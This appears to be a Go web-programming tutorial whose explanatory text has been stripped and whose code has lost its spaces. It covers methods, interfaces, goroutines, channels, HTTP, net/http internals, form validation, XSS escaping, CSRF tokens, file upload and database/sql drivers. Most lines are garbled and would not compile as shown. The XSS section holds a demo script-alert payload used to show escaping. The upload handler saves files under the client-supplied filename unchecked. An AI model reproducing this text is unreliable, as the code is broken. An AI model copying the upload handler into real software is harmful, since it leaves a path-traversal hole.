typeRectanglestruct{width,heightfloat64}
typeCirclestruct{radiusfloat64}
func(rRectangle)area()float64{returnr.width*r.height}
func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}
funcmain(){
r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}c2:=Circle{25}
fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}
method
methodmethodmethodmethod.struct
2.9structmethod
methodarea()RectangleCircleReceiverRectangleCirclearea()Rectangle/Circle
method
methodstructstructstructstruct
typetypeNametypeLiteral
typeagesint
typemoneyfloat32
typemonthsmap[string]int
m:=months{"January":31,"February":28,..."December":31,}
Ctypedefagesint
method
method
packagemainimport"fmt"
const(WHITE=iotaBLACKBLUEREDYELLOW)
typeColorbyte
typeBoxstruct{width,height,depthfloat64colorColor
}
typeBoxList[]Box//asliceofboxes
func(bBox)Volume()float64{returnb.width*b.height*b.depth}
func(b*Box)SetColor(cColor){b.color=c}
func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}
func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}
func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}
funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},}
fmt.Printf("Wehave%dboxesinourset\n",len(boxes))
fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())
fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())
fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}
const
Colorbytestruct:Boxslice:BoxListBox
method
Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor
receiver
SetColorreceiverBox*BoxBox
SetColorBoxBoxSetColorBoxBoxBox
receiver
SetColor *b.Color=cb.Color=c
GoGoGo
PointItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox
Goreceiver
receiver*TTV&V
receiverT TP P
GoC/C++
method
Gomethodsturct
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring}
typeEmployeestruct{
Human//companystring}
//humanfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
method
EmployeeSayHiEmployee
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring}
typeEmployeestruct{Human//companystring}
//Humanmethodfunc(h*Human)SayHi(){
fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
Go
Go
links
: struct: interface
2.6interface
interface
Gointerfaceinterface
interface
interfacemethodinterface
StudentEmployeeSayHi sayhi
StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary
StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary
interfaceStudentEmployeeStudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney
interface
interface
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//Humanschoolstringloanfloat32}
typeEmployeestruct{Human//Humancompanystringmoneyfloat32}
//HumanSayHifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}
//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}
//EmployeeHumanSayHifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}
//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}
//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}
//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}
typeYoungChapinterface{SayHi()Sing(songstring)BorrowMoney(amountfloat32)}
typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)
}
interfaceMeninterfaceHumanStudentEmployeeStudentMenYoungChapinterface
interfaceinterface{}0interface
interface
interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee
mMenslicesliceMensliceslice
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstringloanfloat32}
typeEmployeestruct{Human//companystringmoneyfloat32}
//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)
}
//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}
//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}
//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}
funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}
//MenivariMen
//iStudenti=mikefmt.Println("ThisisMike,aStudent:")i.SayHi()i.Sing("Novemberrain")
//iEmployeei=tomfmt.Println("ThisisTom,anEmployee:")i.SayHi()i.Sing("Borntobewild")
//sliceMen
fmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//x[0],x[1],x[2]=paul,sam,mike
for_,value:=rangex{value.SayHi()}}
interfaceinterfaceGointerfaceduck-typing""
interface
interface(interface{})interfaceinterfaceCvoid*
//avarainterface{}variint=5s:="Helloworld"//aa=ia=s
interface{}interface{}
interface
interfaceinterfaceinterface
fmt.Printlnfmt
typeStringerinterface{String()string}
Stringfmt.Println
packagemainimport("fmt""strconv")
typeHumanstruct{namestringageintphonestring}
//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}
funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}
BoxColorStringfmt.StringerinterfacefmtStringerfmt
//fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())
errorError()stringfmtError()String()
interface
interfaceinterface
Comma-ok
Govalue,ok=element.(T),valueokboolelementinterfaceT
elementToktruefalse
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{
fmt.Println("list[%d]isofadifferenttype",index)}}}
if
ifelseswitch
switch
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{switchvalue:=element.(type){
caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}
element.(type)switchswitch comma-ok
interface
GoStructinterfaceinterface1interface2interface2interface1
container/heap
typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}
sort.Interfacesort.Interface
typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort
//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}
ioio.ReadWriterioReaderWriterinterface
//io.ReadWritertypeReadWriterinterface{ReaderWriter}
Goreflectreflect lawsofreflection
reflectreflectreflect.Typereflect.Value
t:=reflect.TypeOf(i)//t
v:=reflect.ValueOf(i)//v
reflectreflect
tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//
reflect
varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())
fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())
varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)
varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)
links
::
2.7Go21CGo21Go
goroutine
goroutineGogoroutinegoroutine5,6Gogoroutinegoroutine4~5KBgoroutinethread
goroutineGoruntimegoroutine go
gohello(a,b,c)
gogoroutine
packagemain
import("fmt""runtime")
funcsay(sstring){fori:=0;i<5;i++{runtime.Gosched()fmt.Println(s)}}
funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}
////hello//world//hello//world//hello//world//hello//world//hello
gogoroutine
runtime.Gosched()CPUgoroutine
runtime.GOMAXPROCS(n)GOMAXPROCSn<1GoRobhttp://concur.rspace.googlecode.com/hg/talk/concur.html#landing-
slide
channels
goroutinegoroutineGoUnixshellchannelmakechannel
ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})
channel<-
ch<-v//vchannelchv:=<-ch//chv
packagemain
import"fmt"
funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}
funcmain(){a:=[]int{7,2,8,-9,4,0}
c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc
fmt.Println(x,y,x+y)}
channelGoroutineslockvalue:=<-chch<-5channelgoroutine
BufferedChannels
channelGochannelchannelch:=make(chanbool,4)boolchannelchannel4goroutinechannel
ch:=make(chantype,value)
value==0!value>0! value
value
packagemain
import"fmt"
funcmain(){c:=make(chanint,2)//21 23c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}
Range Close
cGorangeslicemapchannel
packagemain
import("fmt")
funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{c<-xx,y=y,x+y}close(c)}
funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}
fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel
channelpanic
channelrange
Select
channelchannelGo select selectchannel
selectchannelchannelselect
packagemain
import"fmt"
funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")return}}}
funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}
selectdefault selectswitchdefaultchannelselectchannel
select{casei:=<-c://useidefault://c}
goroutineselect
funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}
runtimegoroutine
runtimegoroutine
Goexit
goroutinedefer
Gosched
goroutine
NumCPU
CPU
NumGoroutine
GOMAXPROCS
CPU
links
: interface:
2.8GoGo
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3
chanchannel
TCP/IPTCPHTTPHTTP""HTML
HTTP
URL DNS
URLURL
URL(UniformResourceLocator)""
scheme://host[:port#]/path/.../[?query-string][#anchor]schemehttp,https,ftphostHTTPIPport#HTTP80http://www.cnblogs.com:8080/
pathquery-stringhttpanchor
DNS(DomainNameSystem)""TCP/IPIPDNS
3.2DNS
DNSDNS
1. www.qq.comhostsIP
2. hostsDNS
3. hostsDNSTCP/IPDNSDNS
4. DNSURLIP
5. DNSDNSDNS"DNS"
()xxxxxxyyxxyy
IPIP
HTTP
HTTPWebWebHTTP
HTTPWeb()InternetTCPTCP80--HTTPHTTP""HTTP
HTTPHTTPWebCookie
HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU
HTTP
RequestRequest3RequestlineRequestheaderbodyheaderbody
GET/domains/example/HTTP/1.1//RUIHTTP/
Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mimeAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5//////POST
HTTPGET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETEGETPOSTGET/POST
fiddler
3.4fiddlerGET
3.5fiddlerPOST
GETPOST
1. GETPOST2. GETURL?URL&EditPosts.aspx?name=test1&id=12345
POSTHTTPBody3. GETURLPOST4. GETGETURL
HTTP
HTTPresponse
HTTP/1.1200OK//Server:nginx/1.0.8//WEB
Date:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTP
Connection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//
HTTP
HTTPHTTPResponseHTTP/1.13
1XX -2XX -3XX -4XX -5XX -
200302responseheader
HTTP Connection:keep-alive
HTTPHTTPTCPHTTPUDP
HTTP/1.1Keep-AliveHTTPTCPTCP
Keep-AliveApache
3.7requestresponse
URLgo
URLhtmlHTMLHTMLDOMcssjsHTTP
HTTPcssjs
links
: Web: GOWeb
3.2Go WebWebhttpGonet/httphttpWebWebcookie
http Web
packagemain
import("fmt""net/http""strings""log")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
buildweb.exe9090http
http://localhost:9090
Helloastaxie!
http://localhost:9090/?url_long=111&url_long=222
3.8Web
Webhttp
PHPnginxapachetcpnginxsayhelloNamephpcontroller
PythontornadoGoPythonWeb
RubyROR/script/server
GowebWebGoWeb
links
: Web: Goweb
3.3Go WebGoWebnet/httpGoGoWebWeb
web
Requestpostgetcookieurl
Response
Conn
Handler
http
GoWeb
3.9http
1. ListenSocket
2. ListenSocketClientSocketClientSocket
3. ClientSocketHTTPPOSThandlerhandlerClientSocket
GoWeb
handler
Go ListenAndServeserver net.Listen("tcp",addr)TCP
GohttpHTTP
func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}
srv.Serve(net.Listener) for{}ListenerConngoroutineconn goc.serve()goroutine
connrequest c.readRequest()handler handler:=sh.srv.HandlerListenAndServenil handler=DefaultServeMux
urlhandler
/url"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse
3.10http
GoWeb
links
: GOweb: Gohttp
3.4Go httpGoWebhttp
GohttpConnServeMux
Conn goroutine
httpGogoroutinesConnGo
Go
c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()
ConnConnhandlerhandlerhandler
ServeMux
conn.serverhttp
typeServeMuxstruct{musync.RWMutex//
mmap[string]muxEntry//stringmuxstring
hostsbool//host}
muxEntry
typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}
Handler
typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}
Handler sayhelloNameServeHTTPhttp HandlerFuncsayhelloNameHandlerFuncServeHTTPHandlerFunc(f)f
HandlerFuncfServeHTTP
typeHandlerFuncfunc(ResponseWriter,*Request)
//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}
ServeHTTP
func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}
* mux.handler(r).ServeHTTP(w,r)Handler h.ServeHTTP(w,r)
handlerServerHTTPmux.Handler(r)
func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}
func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()
//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}
URLmaphandlerhandlerServeHTTP
Go ListenAndServe2HandlerHandlerServeHTTP
packagemain
import("fmt""net/http")
typeMyMuxstruct{}
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}
funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}
funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}
Go
http
Http.HandleFunc
1DefaultServeMuxHandlerFunc
2DefaultServeMuxHandle
3DefaultServeMuxmap[string]muxEntryhandler
http.ListenAndServe(":9090",nil)
1Server
2ServerListenAndServe()
3net.Listen("tcp",addr)
4forAccept
5Conngoroutinegoc.serve()
6w,err:=c.readRequest()
7handlerhandlerhandlerhandlerDefaultServeMux
8handlerServeHttp
9DefaultServeMux.ServeHttp
10requesthandlerhandlerServeHTTP
mux.handler(r).ServeHTTP(w,r)
11handler
ArequestServerMuxmuxEntry
BhandlerServeHttp
CNotFoundHandlerServeHttp
links
: Goweb:
3.5HTTPDNSgowebservernet/httpserver
GoWebGoWeb
links
: Gohttp:
4WebWebC/C++
\
<form>...input...</form>
GoformRequestformWeb4.1Go4.2
HTTP4.34.4cookie(cookieHTTPHeader
Go4.5Go
links
::
4.1login.gtpl
<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" ></form>
</body></html>
/login loginPOSTGET
httpwebloginform
packagemain
import("fmt""html/template""log""net/http""strings")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody
//ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")t.Execute(w,nil)}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])}}
funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
r.MethodGET,POST,PUTmethod
loginr.MethodGET
http://127.0.0.1:9090/login
4.1
Handlerform r.ParseForm()fmt.Println("username:",r.Form["username"])r.ParseForm()
r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET
login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice
4.1
request.Formurl.Values key=valueform
v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])
Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue
links
::
4.2WebWeb
WebJavaScriptValidationJS
Gobuiltin lenlen
iflen(r.Form["username"][0])==0{//
}
r.Formr.Form r.Form.Get()r.Form.Get()map
5010""""int
int
getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}
//ifgetint>100{//}
ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}
Go
GoRE2UTF-8
unicode funcIs(rangeTab*RangeTable,rrune)
bool
ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}
astaxieasta:xie
ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}
ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}
ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}
<select>
select
<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>
slice:=[]string{"apple","pear","banane"}
for_,v:=rangeslice{ifv==r.Form.Get("fruit"){returntrue}}returnfalse
15httptelnet123
<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">
slice:=[]int{1,2}
for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">
slice
slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}
returnfalse
Slice_diffslicemap https://github.com/astaxie/beeku
845
Gotime
t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())
time
1518(1518)
//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}
//181817Xifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}
Go
links
::
4.3
Web""(CrossSiteScriptingXSS)
JavaScriptVBScriptActiveXFlashcookie
XSS
GoGohtml/template
funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//
4.1
fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//
username<script>alert()</script>
4.3Javascript
Gohtml/templatehtml <script>alert()</script>text/template import"text/template"...t,err:=template.New("foo").Parse({{define"T"}}Hello,{{.}}!{{end}})err=t.ExecuteTemplate(out,"T","")
Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))
Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
Hello,<script>alert('youhavebeenpwned')</script>!
links
::
4.4BBS--
hiddenAjaxjavascript
4.2
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >
tokenhiddenMD5()session
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()
token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//
}}
4.4token
tokenform
links
::
4.5Instagram
form enctype enctype
application/x-www-form-urlencodedmultipart/form-data
text/plain "+"
html
<html><head><title> </title></head><body><formenctype="multipart/form-data"action="http://127.0.0.1:9090/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>
handlerFunc
http.HandleFunc("/upload",upload)
///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)iferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}
r.ParseMultipartForm maxMemory ParseMultipartFormmaxMemory maxMemory r.FormFile io.Copy
r.ParseFormGo ParseMultipartForm
3
1. enctype="multipart/form-data"2. r.ParseMultipartForm
3. r.FormFile
handlermultipart.FileHeader
typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}
4.5
Go
packagemain
import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")
funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)
//
fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}
//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()
//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}
contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()
resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}
//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}
multipart.WritehttpPost
usernamemultipartWriteField
links
::
4.6GoGoformGo
links
::
5Web
GobuiltinGodatabase/sql5.1Go5.25.45.5ORMdatabase/sqldatabase/sqlGo
NOSQLWebNOSQL5.6MongoDBRedis2NOSQL
Godatabase/sqltutorial
links
:: database/sql
5.1database/sqlGoPHPGoGo
sql.Register
database/sqlinitinit Register(namestring,driver
driver.Driver)
mymysqlsqlite3
//https://github.com/mattn/go-sqlite3funcinit(){sql.Register("sqlite3",&SQLiteDriver{})}
//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}
driverdatabase/sqlmap
vardrivers=make(map[string]driver.Driver)
drivers[name]=driver
database/sql
database/sql
import("database/sql"_"github.com/mattn/go-sqlite3")
